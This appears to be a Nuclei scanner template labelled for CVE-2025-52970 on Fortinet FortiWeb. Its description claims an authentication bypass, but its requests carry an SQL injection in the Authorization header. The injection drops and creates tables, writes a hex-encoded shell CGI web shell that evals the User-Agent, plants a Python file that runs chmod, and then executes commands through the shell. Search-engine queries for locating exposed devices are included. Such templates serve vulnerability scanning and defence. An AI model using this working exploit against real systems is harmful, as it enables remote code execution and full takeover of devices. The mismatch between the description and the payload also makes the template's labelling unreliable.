A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.
PoC代码[已公开]
id: CVE-2025-52970
info:
name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege
author: Sourabh-Sahu
severity: high
description: |
A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.
impact: |
Unauthenticated remote attackers can gain administrative privileges, leading to full control over the device.
remediation: |
Update to a version later than 7.6.3, 7.4.7, 7.2.10, or 7.0.10 or the latest available version.
reference:
- https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md
- https://github.com/34zY/CVE-2025-52970
- https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2025-52970
epss-score: 0.23003
epss-percentile: 0.95714
cwe-id: CWE-223
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 26
vendor: Fortinet
product: FortiWeb
shodan-query:
- http.title:"FortiWeb"
- http.title:"Fortinet"
fofa-query: app="Fortinet-FortiWeb"
google-query: intitle:"FortiWeb" "login"
tags: cve,cve2025fortinet,fortiweb,auth-bypass,priv-esc,vkev,intrusive
variables:
f_cgi: "{{rand_text_alpha(6)}}.cgi"
tf_cgi: "{{rand_text_alpha(2)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "name=\"secretkey")'
condition: and
internal: true
- raw:
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/migadmin/cgi-bin/{{f_cgi}}'/**/FIELDS/**/ESCAPED/**/BY/**/'';--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x{{hex_encode(concat("bin/", f_cgi, " && rm "))}})/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x202d66202f7661722f6c6f672f6c6962)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2f707974686f6e332e31302f70796c6162)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/{{tf_cgi}});--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'';--
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'
- |
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: {{Hostname}}
- |
GET /cgi-bin/{{f_cgi}} HTTP/1.1
Host: {{Hostname}}
User-Agent: id
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
condition: and
# digest: 4a0a0047304502201ed35da7ab7e6c80d9478f8bb443937ae210671e71e1a2c75697b052b8592dc20221009c3d36a99130d99558a30e447b9c9f63bbd352862fb567ae6fde4d600f0ff60a:922c64590222798bb761d5b6d8e72950